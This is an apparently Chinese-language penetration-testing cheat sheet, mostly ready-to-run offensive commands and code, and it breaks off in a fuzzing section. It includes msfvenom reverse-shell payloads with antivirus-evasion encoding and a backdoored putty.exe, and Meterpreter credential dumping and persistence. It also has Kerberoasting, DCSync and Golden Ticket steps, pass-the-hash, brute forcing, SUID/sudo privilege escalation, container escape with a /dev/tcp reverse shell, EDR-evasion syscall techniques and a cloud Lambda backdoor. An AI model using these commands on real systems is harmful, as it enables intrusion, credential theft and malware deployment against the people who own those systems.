def playwright_scrape(url, wait_for_network=True):
    with sync_playwright() as p:
        browser = p.chromium.launch(
            headless=True,
            args=['--ignore-certificate-errors']
        )
        context = browser.new_context(
            user_agent='Mozilla/5.0 (PentestBot)',
            ignore_https_errors=True
        )
        page = context.new_page()

        # 拦截所有请求 (发现API端点)
        api_endpoints = []
        page.on('request', lambda req: api_endpoints.append(req.url))

        page.goto(url, wait_until='networkidle')

        # 等待指定元素
        page.wait_for_selector('body', timeout=10000)

        html = page.content()
        browser.close()
        return html, api_endpoints

# 认证场景 — 持久化登录状态
def login_and_scrape(login_url, target_url, credentials):
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)
        context = browser.new_context()
        page = context.new_page()

        # 自动登录
        page.goto(login_url)
        page.fill('input[name="username"]', credentials['username'])
        page.fill('input[name="password"]', credentials['password'])
        page.click('button[type="submit"]')
        page.wait_for_load_state('networkidle')

        # 保存认证状态
        context.storage_state(path='auth_state.json')

        # 访问目标页面
        page.goto(target_url)
        return page.content()

Requests 表单交互

import requests

session = requests.Session()
session.headers.update({
    'User-Agent': 'Mozilla/5.0 (compatible; PentestBot/1.0)'
})

# GET — 获取登录页面及CSRF Token
login_page = session.get('https://target.com/login')
from bs4 import BeautifulSoup
soup = BeautifulSoup(login_page.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrf_token'})
csrf_value = csrf_token['value'] if csrf_token else ''

# POST — 提交登录表单
login_data = {
    'username': 'test_user',
    'password': 'test_pass',
    'csrf_token': csrf_value
}
response = session.post('https://target.com/login', data=login_data)

# 验证登录状态
if 'Welcome' in response.text:
    print('[+] Login successful!')
    # 继续访问需要认证的页面
    admin_page = session.get('https://target.com/admin')
    print(f'Admin page status: {admin_page.status_code}')

# 文件上传测试
files = {'file': ('shell.php', '')}
upload_resp = session.post('https://target.com/upload', files=files)

自动化表单发现与Fuzzing

# 自动发现页面中所有表单并测试
def form_fuzzer(url):
    session = requests.Session()
    resp = session.get(url)
    soup = BeautifulSoup(resp.text, 'html.parser')

    findings = []

    for form in soup.find_all('form'):
        action = form.get('action', '')
        method = form.get('method', 'GET').upper()
        form_url = urllib.parse.urljoin(url, action)

        # 收集所有输入字段
        inputs = {}
        for inp in form.find_all(['input', 'textarea']):
            name = inp.get('name', '')
            if name:
                # 注入测试Payload
                inputs[name] = "' OR '1'='1"  # SQL注入测试
                inputs[name] = '<script>alert(1)</script>'  # XSS测试

        # 提交表单
        if method == 'POST':
            resp = session.post(form_url, data=inputs)
        else:
            resp = session.get(form_url, params=inputs)

        findings.append({
            'form_action': form_url,
            'method': method,
            'status': resp.status_code,
            'response_length': len(resp.text)
        })

    return findings

OCR — 光学字符识别

# pip install pytesseract pillow
import pytesseract
from PIL import Image, ImageFilter, ImageEnhance
import requests
from io import BytesIO

def ocr_captcha(image_url_or_path):
    """使用Tesseract OCR识别简单验证码"""

    # 加载图片
    if image_url_or_path.startswith('http'):
        resp = requests.get(image_url_or_path, stream=True)
        img = Image.open(BytesIO(resp.content))
    else:
        img = Image.open(image_url_or_path)

    # 图像预处理 — 提高识别率
    img = img.convert('L')                    # 灰度化
    img = img.point(lambda x: 0 if x < 140 else 255, '1')  # 二值化
    img = img.filter(ImageFilter.MedianFilter(3))           # 去噪
    enhancer = ImageEnhance.Contrast(img)
    img = enhancer.enhance(2.0)               # 增强对比度

    # OCR识别
    captcha_text = pytesseract.image_to_string(
        img,
        config='--psm 7 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    )
    return captcha_text.strip()

# 验证码自动填充流程
def bypass_captcha_session(login_url, username, password):
    session = requests.Session()
    login_page = session.get(login_url)

    # 获取验证码图片URL
    soup = BeautifulSoup(login_page.text, 'html.parser')
    captcha_img = soup.find('img', {'id': 'captcha'})

    if captcha_img:
        img_url = urllib.parse.urljoin(login_url, captcha_img['src'])
        captcha_code = ocr_captcha(img_url)

        login_data = {
            'username': username,
            'password': password,
            'captcha': captcha_code
        }
        return session.post(login_url, data=login_data)

验证码绕过策略汇总

创建渗透测试专用爬虫

# 创建项目: scrapy startproject pentest_crawler
# cd pentest_crawler
# scrapy genspider recon_spider target.com

# spiders/recon_spider.py
import scrapy
from scrapy.linkextractors import LinkExtractor
from scrapy.spiders import CrawlSpider, Rule

class ReconSpider(CrawlSpider):
    name = 'recon_spider'
    allowed_domains = ['target.com']
    start_urls = ['https://target.com']

    # 链接提取规则
    rules = (
        Rule(LinkExtractor(allow=()), callback='parse_item', follow=True),
    )

    custom_settings = {
        'CONCURRENT_REQUESTS': 16,
        'DOWNLOAD_DELAY': 0.5,
        'ROBOTSTXT_OBEY': False,  # 渗透测试中可视情况禁用
        'USER_AGENT': 'Mozilla/5.0 (PentestBot)',
    }

    def parse_item(self, response):
        yield {
            'url': response.url,
            'status': response.status,
            'title': response.css('title::text').get(),
            'forms': len(response.css('form')),
            'scripts': len(response.css('script[src]')),
            'comments': response.xpath('//comment()').getall(),
            'meta_generator': response.css(
                'meta[name="generator"]::attr(content)'
            ).get(),
            'headers': dict(response.headers),
            'server': response.headers.get('Server', b'').decode(),
        }

Scrapy 中间件 — 自定义请求头与代理

# middlewares.py — 随机UA + 代理轮换
import random

USER_AGENTS = [
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)',
    'Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101',
]

PROXIES = [
    'http://proxy1:8080',
    'http://proxy2:8080',
]

class RandomUserAgentMiddleware:
    def process_request(self, request, spider):
        request.headers['User-Agent'] = random.choice(USER_AGENTS)

class RotatingProxyMiddleware:
    def process_request(self, request, spider):
        if PROXIES:
            request.meta['proxy'] = random.choice(PROXIES)

# 导出结果
# scrapy crawl recon_spider -o recon_results.json
# scrapy crawl recon_spider -o recon_results.csv

Portia — 可视化爬虫构建器

Portia 是基于 Scrapy 的可视化爬虫工具，通过浏览器标注方式定义抓取规则，无需手写代码。适合快速构建针对特定网站的数据提取爬虫。在渗透测试中，可用于快速构建针对目标CMS、管理后台等特定页面的信息提取工具。

AI在渗透测试中的五大优势

1. 自动化情报收集 — 智能分析目标信息，自动关联多源数据
2. 智能漏洞发现 — 机器学习识别新型漏洞和0day模式
3. 自适应攻击 — 根据目标响应实时调整攻击策略
4. 减少误报 — AI辅助验证漏洞真实性，降低误报率
5. 预测性分析 — 预测攻击路径和成功率，优化攻击链

MSFVenom — 载荷生成工厂

# ===== 基础 Payload 生成 =====
# Windows 反向 TCP
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

# Linux 反向 Shell
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f elf -o payload.elf

# ===== 编码与免杀 =====
# 多重编码 (Shikata Ga Nai + 迭代)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe

# 自定义模板注入 (借用合法签名)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -x putty.exe -k -f exe -o putty_backdoor.exe

# ===== Web Payload =====
# PHP
msfvenom -p php/meterpreter_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php

# ASPX
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f aspx -o shell.aspx

# JSP
msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.jsp

Meterpreter 后渗透

# 连接后基础操作
sysinfo                # 系统信息
getuid                 # 当前用户
getsystem              # 尝试SYSTEM提权
ps                     # 进程列表
migrate PID            # 迁移到稳定进程
run post/windows/gather/checkvm  # 检测虚拟机

# 凭据窃取
load kiwi              # 加载 Mimikatz
creds_all              # 导出所有凭据
hashdump                # 密码哈希
run post/windows/gather/smart_hashdump

# 内网侦察
ipconfig /all
route print
arp -a
run autoroute -s 10.0.0.0/24    # 添加内网路由
background
# 使用 auxiliary/scanner/portscan/tcp 扫描内网

# 横向移动
run post/windows/gather/enum_domain       # 域枚举
run post/windows/manage/psexec_psh        # PsExec脚本
use exploit/windows/smb/psexec            # PsExec模块

# 持久化
run persistence -A -L C:\\ -X -i 30 -p 4444 -r 192.168.1.100
run scheduleme
run post/windows/manage/enable_rdp

# 文件操作
download C:\\Users\\admin\\Documents\\secret.txt
upload /tmp/nc.exe C:\\Windows\\Temp\\svchost.exe

Resource 脚本自动化

# auto_pentest.rc — 一键自动化渗透脚本
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
exploit -j -z

# 等待会话建立后 (手动运行或使用 post 脚本)
# resource post_exploit.rc

# post_exploit.rc
run post/windows/gather/checkvm
run post/windows/gather/enum_applications
run post/windows/gather/enum_domain
run post/windows/gather/smart_hashdump
run post/windows/manage/enable_rdp
background

# 批量运行
# msfconsole -r auto_pentest.rc

域环境枚举

# ===== BloodHound 采集与分析 =====
# SharpHound 采集 (Windows)
.\SharpHound.exe -c All --zipfilename domain.zip

# BloodHound.py 采集 (Linux, 无需域加入)
bloodhound-python -d domain.local \
  -u username -p password \
  -ns 10.0.0.10 --zip -c All

# 分析关键路径:
# - Find Shortest Paths to Domain Admins
# - Find Principals with DCSync Rights
# - Find Computers with Unconstrained Delegation
# - Find Kerberoastable Users
# - Find AS-REP Roastable Users

# ===== PowerView 枚举 =====
Get-NetDomain              # 域名/功能级别
Get-NetForest               # 森林信息
Get-NetDomainController     # 域控列表
Get-NetUser -SPN            # 发现 Kerberoastable 用户
Get-NetComputer             # 所有计算机
Get-NetGroup 'Domain Admins'| Get-NetGroupMember  # DA成员
Get-NetGPO                  # GPO列表
Get-NetOU                   # OU结构
Find-LocalAdminAccess       # 本地管理员权限检查

Kerberoasting 攻击

# 原理: 请求服务票据(TGS) → 离线破解服务账户密码
# 条件: 任意域用户权限即可

# 方法1: Impacket GetUserSPNs
GetUserSPNs.py domain.local/user:password \
  -dc-ip 10.0.0.10 -request -outputfile hashes.txt

# 方法2: Rubeus (Windows)
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# 离线破解
hashcat -m 13100 hashes.txt rockyou.txt --force
john --format=krb5tgs hashes.txt --wordlist=rockyou.txt

# 服务账户常见特征:
# - 密码不常更改 (服务运行中断风险)
# - 可能具有域管理员权限
# - MSSQL/IIS/SQL Server 服务账户尤其重要

DCSync — 直接复制域控凭据

# 条件: Replicating Directory Changes 权限
# (Domain Admins / Enterprise Admins / 特定委托)

# Mimikatz DCSync
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

# Impacket secretsdump
secretsdump.py domain.local/admin:'Password123'@10.0.0.10

# 输出 (关键凭据):
# Administrator:500:aad3b...:31d6c...
# krbtgt:502:aad3b...:hash...      → Golden Ticket
# Domain Computers$:1000:...

# Golden Ticket 攻击 (krbtgt hash)
# Mimikatz:
kerberos::golden /domain:domain.local \
  /sid:S-1-5-21-xxxx /krbtgt:krbtgt_hash \
  /user:FakeAdmin /id:500 /groups:512,513,518,519,520 \
  /ptt

# 之后可访问域内任何资源 (万能门票)

横向移动技法

# PsExec (需要目标管理员)
PsExec64.exe \\TARGET -u DOMAIN\admin -p pass cmd
psexec.py domain/admin:'pass'@10.0.0.20

# WMI 远程执行
wmiexec.py domain/admin:'pass'@10.0.0.20
Invoke-WmiCommand -ComputerName TARGET -ScriptBlock { whoami }

# WinRM (PowerShell Remoting)
Enter-PSSession -ComputerName TARGET -Credential $cred
evil-winrm -i 10.0.0.20 -u admin -p 'pass'

# Pass-the-Hash (从 Windows/Linux 攻击)
# Windows: Mimikatz
sekurlsa::pth /user:Administrator /domain:domain.local \
  /ntlm:NTLM_HASH /run:cmd.exe

# Linux: Impacket
psexec.py -hashes :NTLM_HASH domain.local/admin@10.0.0.20
wmiexec.py -hashes :NTLM_HASH domain.local/admin@10.0.0.20

Hashcat — GPU 高速破解

# ===== 基础用法 =====
hashcat -m 0 -a 0 hashes.txt wordlist.txt        # MD5 字典攻击
hashcat -m 1000 -a 0 hashes.txt rockyou.txt      # NTLM 字典攻击
hashcat -m 18200 -a 0 hashes.txt wordlist.txt    # Kerberos 5 TGS-REP

# ===== 攻击模式 (参数 -a) =====
# 0: Straight (字典)
# 1: Combination (两个字典组合)
# 3: Brute-Force (掩码暴力)
# 6: Hybrid Wordlist + Mask
# 7: Hybrid Mask + Wordlist

# ===== 掩码攻击示例 =====
hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?d?d?d?d     # 4字母+4数字
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?l?l?d?d  # 大写+6小写+2数字

# ===== 规则攻击 (参数 -r) =====
hashcat -m 0 -a 0 hashes.txt wordlist.txt -r rules/best64.rule
hashcat -m 0 -a 0 hashes.txt wordlist.txt -r rules/dive.rule
hashcat -m 0 -a 0 hashes.txt wordlist.txt -r rules/OneRuleToRuleThemAll.rule

# ===== 常用 Hash 模式 (-m) =====
# 0:      MD5
# 100:    SHA1
# 1000:   NTLM
# 1400:   SHA2-256
# 3000:   LM
# 5500:   NetNTLMv1
# 5600:   NetNTLMv2
# 13100:  Kerberos 5 TGS-REP etype 23
# 18200:  Kerberos 5, etype 23, AS-REP
# 3200:   bcrypt

John the Ripper — CPU 破解

# 基础使用
john --wordlist=rockyou.txt hashes.txt
john --show hashes.txt                    # 查看已破解
john --rules --wordlist=rockyou.txt hashes.txt

# 配置文件: /etc/john/john.conf
# 自定义规则 (john.local.conf):
[List.Rules:MyRule]
# 单词 + 常见后缀
Az"[0-9][0-9]"           # password → password99
Az"@[0-9][0-9][0-9]"    # password → password@123
Az"!"                    # password → password!

# 唯一 Hash 文件
# john 兼容格式: user:$1$salt$hash  (Unix)
# john 兼容格式: user:NTLM_hash    (Windows)

Hydra — 在线服务爆破

# SSH
hydra -l root -P pass.txt ssh://192.168.1.100
hydra -L users.txt -P pass.txt ssh://192.168.1.100 -t 4

# HTTP POST 登录
hydra -l admin -P pass.txt 192.168.1.100 http-post-form \
  "/login.php:username=^USER^&password=^PASS^:Login failed"

# FTP
hydra -L users.txt -P pass.txt ftp://192.168.1.100

# SMB
hydra -L users.txt -P pass.txt smb://192.168.1.100

# MySQL
hydra -l root -P pass.txt mysql://192.168.1.100

# RDP
hydra -l administrator -P pass.txt rdp://192.168.1.100

# ===== 规避封锁 =====
hydra -l admin -P pass.txt ssh://target \
  -t 2 -w 5 -f  # -t 2线程, -w 5秒延迟, -f 成功后停止

# ===== Medusa 替代方案 =====
medusa -h 192.168.1.100 -U users.txt -P pass.txt -M ssh -t 4

自动化枚举 (LinPEAS)

# LinPEAS — 最全面的Linux提权枚举脚本
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# 关键检查项:
# [✓] Kernel: 2.6.32 → CVE-2016-5195 (DirtyCow)
# [✓] Sudo: (root) NOPASSWD: /usr/bin/find, /usr/bin/vim
# [✓] SUID: /usr/bin/pkexec → CVE-2021-4034 (PwnKit)
# [✓] Cron: root runs /opt/backup.sh (writable!)
# [✓] Capabilities: cap_dac_read_search+ep on /usr/bin/tar
# [✓] Writable: /etc/passwd, /etc/shadow, /etc/ld.so.preload
# [✓] Docker: User in docker group

SUID / Sudo 滥用提权

# ===== SUID 提权 (最常用) =====
# 查找所有 SUID 文件
find / -perm -u=s -type f 2>/dev/null

# find → root
./find . -exec /bin/bash -p \;
# vim → root
./vim -c ':!/bin/bash'
# bash → root (少见的 /bin/bash suid)
./bash -p
# less → root
./less /etc/passwd → !/bin/bash
# cp → 覆写 /etc/passwd
./cp /bin/bash /tmp/bash && chmod u+s /tmp/bash

# ===== Sudo 提权 =====
# 检查 sudo 配置
sudo -l
# (root) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/bash \;

# (root) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import os; os.system("/bin/bash")'

# (root) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/bash")}'

# (root) NOPASSWD: /usr/bin/zip
TF=$(mktemp -u); sudo zip $TF /etc/hosts -T -TT 'sh #'

# Sudo 版本漏洞
# CVE-2021-3156 (Baron Samedit): sudo 1.8.31-1.9.5p1
sudoedit -s '\' $(python3 -c 'print("A"*1000)')

Capability 与容器逃逸

# ===== Linux Capability 提权 =====
# 检查进程 Capability
getcap -r / 2>/dev/null

# cap_setuid+ep → 设置uid为0
/usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

# cap_sys_ptrace+ep → 注入root进程
# 写 shellcode 到 root进程内存

# cap_dac_read_search+ep → 绕过文件权限
/usr/bin/tar -cvf /dev/null /etc/shadow
/usr/bin/tar -xf /etc/shadow

# ===== Docker 容器逃逸 =====
# 特权容器 (--privileged)
# 挂载宿主机磁盘
fdisk -l                 # 发现宿主机磁盘 /dev/sda
mount /dev/sda1 /mnt     # 挂载
chroot /mnt /bin/bash    # 获得宿主机 root shell

# Docker Socket 挂载
docker -H unix:///var/run/docker.sock run -it \
  -v /:/host alpine chroot /host /bin/bash

# cap_sys_module → 加载内核模块逃逸
# cap_sys_admin + 挂载cgroup → release_agent 逃逸

# CVE-2022-0492 (cgroup v1 release_agent)
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd && echo 'sh -i >& /dev/tcp/IP/PORT 0>&1' >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Shellcode 加载器演进

# ===== 阶段1: 基础 VirtualAlloc + CreateThread =====
# (几乎100%被查杀)
VirtualAlloc(MEM_COMMIT, PAGE_EXECUTE_READWRITE, shellcode);
CreateThread(...)

# ===== 阶段2: 回调执行 (避开CreateThread) =====
# EnumFonts, EnumTimeFormats, CertEnumSystemStore, etc.
EnumFontsW(hdc, NULL, (FONTENUMPROC)shellcode_addr, 0);

# ===== 阶段3: 分段加载 + 休眠 =====
# 申请 RW 内存 → 写入 Shellcode
# → VirtualProtect → RX (去写权限)
# → Sleep(随机) → VirtualProtect → RWX → 执行

# ===== 阶段4: 进程注入变体 =====
# 经典 CreateRemoteThread → EDR 重点关注
# 替代:
# - NtMapViewOfSection (共享内存映射)
# - QueueUserAPC (APC注入, 早期执行)
# - SetThreadContext (劫持现有线程)
# - 进程镂空 (Process Hollowing)

Syscall 直接调用 (绕过用户态 Hook)

# EDR 原理: 在 ntdll.dll 添加 JMP 钩子到自身DLL
# 绕过: 直接执行 syscall 指令，不经过 ntdll.dll

# ===== Hell's Gate / Halo's Gate =====
# 1. 动态从 ntdll.dll 读取 syscall 号
# 2. 在内存中执行 syscall 指令
# 3. 如果函数被Hook → 通过相邻函数计算正确 syscall 号

# ===== Indirect Syscall =====
# 1. 在 ntdll.dll 中找到 syscall; ret 指令地址
# 2. 设置寄存器 (RAX=syscall号, R10=返回值)
# 3. JMP到该地址执行 (从合法地址调用，避免Hook)

# ===== 示例代码 (NASM汇编) =====
# mov r10, rcx
# mov eax, [SYSCALL_NUMBER]
# syscall
# ret

EDR 规避综合策略

API 测试清单 (OWASP API Top 10)

# ===== 1. 失效的对象级授权 (BOLA/IDOR) =====
GET /api/users/123 → 修改为 /api/users/124
GET /api/orders/1001 → 修改为 /api/orders/1002

# ===== 2. 失效的用户认证 =====
# - 测试无Token访问 → 是否返回401
# - 测试过期Token → 是否正确处理
# - JWT算法混淆 (见JWT章节)

# ===== 3. 过度的数据暴露 =====
GET /api/users/me → 返回敏感字段? (password, ssn, credit_card)
# 测试: 移除 ?fields=name,email 参数观察是否返回全部字段

# ===== 4. 缺乏资源和速率限制 =====
# 频率测试
for i in {1..1000}; do
  curl -s https://api.target.com/users -H "Authorization: Bearer TOKEN"
done

# ===== 5. Mass Assignment (批量赋值) =====
POST /api/users
{"name":"user","email":"user@test.com","isAdmin":true}
# 测试: 添加 role, admin, isAdmin, is_superuser 等字段

# ===== 6. Injection =====
# JSON 注入: {"search": "'; DROP TABLE users;--"}
# NoSQL 注入: {"$gt": ""}, {"$regex": ".*"}
# XPath 注入

# ===== 7. 安全配置错误 =====
# - OPTIONS 方法 → 返回允许的方法? (PUT, DELETE, PATCH)
# - Debug endpoints: /api/debug, /api/v1/console
# - 版本发现: /api/v1, /api/v2, /api/internal

Android 渗透测试流程

# ===== 1. APK 反编译 =====
apktool d target.apk -o target_decoded
jadx target.apk                        # Java源代码
unzip target.apk -d target_unzipped

# ===== 2. 关键文件检查 =====
# AndroidManifest.xml → debuggable, allowBackup, exported
# res/values/strings.xml → API Keys, Secrets
# assets/ → 证书、配置文件
# lib/ → Native Library (ARM/x86)

# ===== 3. 抓包配置 =====
# Android 7+ 需绕过 SSL Pinning:
# 法1: Frida 脚本
frida -U -l bypass_ssl.js -f com.target.app
# 法2: Objection
objection -g com.target.app explore
android sslpinning disable
# 法3: 修改 APK (重新打包)
apktool d app.apk → 修改 network_security_config.xml → 重新签名

# ===== 4. Frida Hook =====
# Hook 敏感函数
frida -U -l hook.js com.target.app

// hook.js
Java.perform(function() {
  var Crypto = Java.use('com.app.Crypto');
  Crypto.encrypt.implementation = function(key, data) {
    console.log('Key: ' + key);
    console.log('Data: ' + data);
    return this.encrypt(key, data);
  };
});

iOS 渗透测试

# ===== 越狱检测绕过 =====
# Frida:
frida -U -l bypass_jailbreak.js com.target.ios

# ===== IPA 分析 =====
unzip target.ipa
# Payload/target.app/ → 二进制文件、plist、资源
# 检查 Info.plist → NSAppTransportSecurity (ATS配置)

# ===== 工具链 =====
# - objection (iOS/Android 统一)
# - Frida (跨平台 Hook)
# - Cycript (iOS 专用, 类似JS交互)
# - Class-dump (导出Objective-C头文件)
# - Hopper / IDA Pro (二进制逆向)

Wi-Fi 攻击链

# ===== 1. 无线网卡配置 (监听模式) =====
airmon-ng check kill         # 杀死可能干扰的进程
airmon-ng start wlan0        # 开启监听模式

# ===== 2. 周边Wi-Fi扫描 =====
airodump-ng wlan0mon
# 记录: BSSID, CH, PWR, ESSID, ENC (WPA/WPA2/WEP)

# ===== 3. WPA2 握手包捕获 =====
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# 另开终端: Deauth攻击 → 强制客户端重连
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon

# ===== 4. PMKID 攻击 (无需客户端!) =====
hcxdumptool -o pmkid.pcap -i wlan0mon --enable_status=3
# WPA3 过渡模式也受影响

# ===== 5. 离线破解 =====
# 握手包转换
hcxpcaptool -z hash.hc22000 capture.cap
# Hashcat破解
hashcat -m 22000 hash.hc22000 rockyou.txt

# ===== 6. Evil Twin (伪造AP) =====
airbase-ng -e "FreeWiFi" -c 6 wlan0mon
# 结合: dnsmasq (DHCP) + hostapd-wpe (RADIUS)
# 捕获: WPA2-Enterprise 凭据 (MSCHAPv2 → 可破解)

Wi-Fi 安全检测工具集

AWS 渗透关键检查点

# ===== S3 桶枚举 =====
aws s3 ls s3://target-bucket --no-sign-request
aws s3 ls s3://target-dev --no-sign-request
aws s3 ls s3://target-prod --no-sign-request
# 工具: s3scanner, bucket_finder, lazys3

# ===== IAM 权限枚举 =====
# 获取当前用户权限
aws iam list-attached-user-policies --user-name USER
aws iam list-user-policies --user-name USER
aws iam get-policy-version --policy-arn ARN --version-id v1

# 检查危险权限:
# iam:PassRole + ec2:RunInstances     → 创建高权限EC2
# iam:CreateLoginProfile               → 创建控制台登录
# iam:CreateAccessKey                  → 创建API密钥
# sts:AssumeRole                       → 角色扮演
# lambda:UpdateFunctionCode            → 修改Lambda代码

# ===== Lambda 后门 =====
# 修改 Lambda 函数代码 → 添加数据渗出
aws lambda update-function-code \
  --function-name target-function \
  --zip-file fileb://backdoored.zip

# ===== 公开EBS快照 =====
aws ec2 describe-snapshots --owner-ids TARGET_ACCOUNT
# 恢复快照 → 挂载 → 提取数据

Kubernetes 安全

# ===== 集群信息收集 =====
kubectl cluster-info dump
kubectl get pods --all-namespaces
kubectl get secrets --all-namespaces
kubectl get roles,rolebindings,clusterroles,clusterrolebindings -A

# ===== 常见错误配置 =====
# Pod 特权模式: securityContext.privileged: true
# 宿主机挂载: hostPath / docker.sock 挂载
# 匿名访问: --anonymous-auth=true (无RBAC)
# etcd 无认证: 2379端口直接访问 → 集群Key获取

# ===== 利用 ServiceAccount =====
# 从被攻陷的Pod:
cat /run/secrets/kubernetes.io/serviceaccount/token
kubectl --token=TOKEN --server=https://API_SERVER get pods

# Kubelet API (10250端口) → Pod内命令执行
curl -k https://NODE_IP:10250/runningpods/
curl -k https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER \
  -d 'cmd=id'

云安全工具链

# ScoutSuite — 多云安全审计
scout aws --profile target
scout azure --cli
scout gcp --project-id target-project

# Prowler — AWS CIS合规检查
prowler -p target-profile -M csv

# kube-bench — Kubernetes CIS基准
kube-bench --config-dir cfg --config cfg/config.yaml

# kube-hunter — Kubernetes主动渗透
kube-hunter --remote api.target.com

Google Dork 高级语法

# ===== 敏感文件发现 =====
site:target.com ext:php intitle:"index of"       # 目录列表
site:target.com ext:sql intext:password          # SQL备份文件
site:target.com ext:log intext:error             # 错误日志
site:target.com ext:env intext:DB_PASSWORD       # .env配置泄露
site:target.com inurl:backup filetype:zip        # 备份压缩包
site:target.com intitle:"phpinfo()"              # PHP信息页

# ===== 子域名发现 =====
site:*.target.com -www -mail -ftp                # 排除常见子域名
site:target.com inurl:dev | inurl:test | inurl:staging

# ===== 登录入口发现 =====
site:target.com inurl:login | inurl:admin | inurl:dashboard
site:target.com inurl:wp-admin                   # WordPress后台

# ===== 文件上传点 =====
site:target.com inurl:upload | inurl:uploader

# ===== 通用搜索引擎 =====
# Shodan: org:"Company" port:3389
# Censys: services.http.response.body:"target.com"
# Fofa: domain="target.com" && port="3306"
# ZoomEye: site:target.com +"Apache"

代码仓库审计

# ===== GitHub 搜索 =====
# 文件名搜索
repo:target-org/* filename:.npmrc
repo:target-org/* filename:.env NOT filename:.env.example
repo:target-org/* filename:id_rsa

# 内容搜索
org:target-org "password" NOT "password_hash"
org:target-org "BEGIN RSA PRIVATE KEY"
org:target-org "AKIA" (AWS Access Key模式)
org:target-org "sk-" (OpenAI API Key)
org:target-org "xoxb-" (Slack Bot Token)

# ===== 工具: truffleHog / git-secrets =====
trufflehog github --org=target-org --json
gitleaks detect --source=. --report=report.json

# ===== GitLab/Bitbucket 同样适用 =====
# GitLab CI/CD 变量泄露
# 搜索: .gitlab-ci.yml 中的硬编码凭证

# ===== Paste Sites =====
# Pastebin, Ghostbin 搜索:
# site:pastebin.com "target.com" password

证书透明度 (CT) 日志

# CT Logs 监控 — 发现新签发的SSL证书 (含子域名)
# https://crt.sh
curl -s 'https://crt.sh/?q=%.target.com&output=json' | jq -r '.[].name_value' | sort -u

# CertSpotter
curl -s 'https://api.certspotter.com/v1/issuances?domain=target.com&expand=dns_names' | jq

# 发现:
# - 内部域名 (如 jenkins.internal.target.com)
# - 未公开的开发/测试环境
# - 已过期的证书对应的服务可能仍在线

逆向工具链

# ===== 静态分析 =====
# IDA Pro / Ghidra (开源) — 反汇编+反编译
# Ghidra 使用:
# 1. Import File → 选择二进制
# 2. Auto-Analyze → 反汇编
# 3. Window → Decompile → 反编译C伪代码
# 4. Search → Strings → 搜索关键字符串

# ===== 动态分析 =====
# x64dbg (Windows) — 用户态调试
# GDB + pwndbg (Linux) — 调试+漏洞利用开发
# gdb ./binary
# (gdb) break main
# (gdb) run
# (gdb) info registers
# (gdb) x/10x $rsp       # 查看栈

# ===== Linux 基础分析命令 =====
file binary              # 文件类型 (ELF/PE/Mach-O)
strings binary | less    # 可读字符串
ltrace ./binary          # 库函数调用跟踪
strace ./binary          # 系统调用跟踪
readelf -a binary        # ELF结构详情
objdump -d binary        # 反汇编

x86/x64 汇编速览 (渗透测试常用)

# ===== 关键寄存器 =====
# RAX: 返回值   RBX: 基址   RCX: 第4参数/计数器
# RDX: 第3参数   RSI: 第2参数   RDI: 第1参数
# RSP: 栈指针   RBP: 帧指针   RIP: 指令指针
# R8/R9: 第5/第6参数 (x64)

# ===== 关键指令 =====
# MOV dst, src:  传送数据
# PUSH val:      压栈 (RSP -= 8)
# POP dst:       弹栈 (RSP += 8)
# CALL addr:     调用函数 (PUSH RIP+offset; JMP addr)
# RET:           返回 (POP RIP)
# CMP a, b:      比较 (设置EFLAGS)
# JE/JZ addr:    相等则跳转
# JNE/JNZ addr:  不等则跳转
# NOP:           空操作 (0x90, 常用于shellcode滑板)

# ===== 函数调用约定 (x64 Windows) =====
# RCX, RDX, R8, R9 → 前4参数
# 剩余参数: 压栈 (右到左)
# 调用者清理: caller清理栈 (cdecl)
# 被调用者清理: callee清理栈 (stdcall)

# ===== 常见 shellcode 特征 =====
# 寻找: int 0x80 / syscall / sysenter
# 寻找: 字符串 "/bin/sh", "cmd.exe"
# 寻找: PUSH + CALL 模式 (获取EIP/RIP)

AFL++ — 覆盖率引导的模糊测试

# ===== 安装 =====
sudo apt install afl++
# 或源码编译: https://github.com/AFLplusplus/AFLplusplus

# ===== 编译目标程序（插桩） =====
afl-clang-fast -o target_fuzz target.c
afl-gcc -o target_fuzz target.c

# ===== 运行 Fuzzer =====
mkdir input output
echo "AAAA" > input/seed.txt           # 种子文件
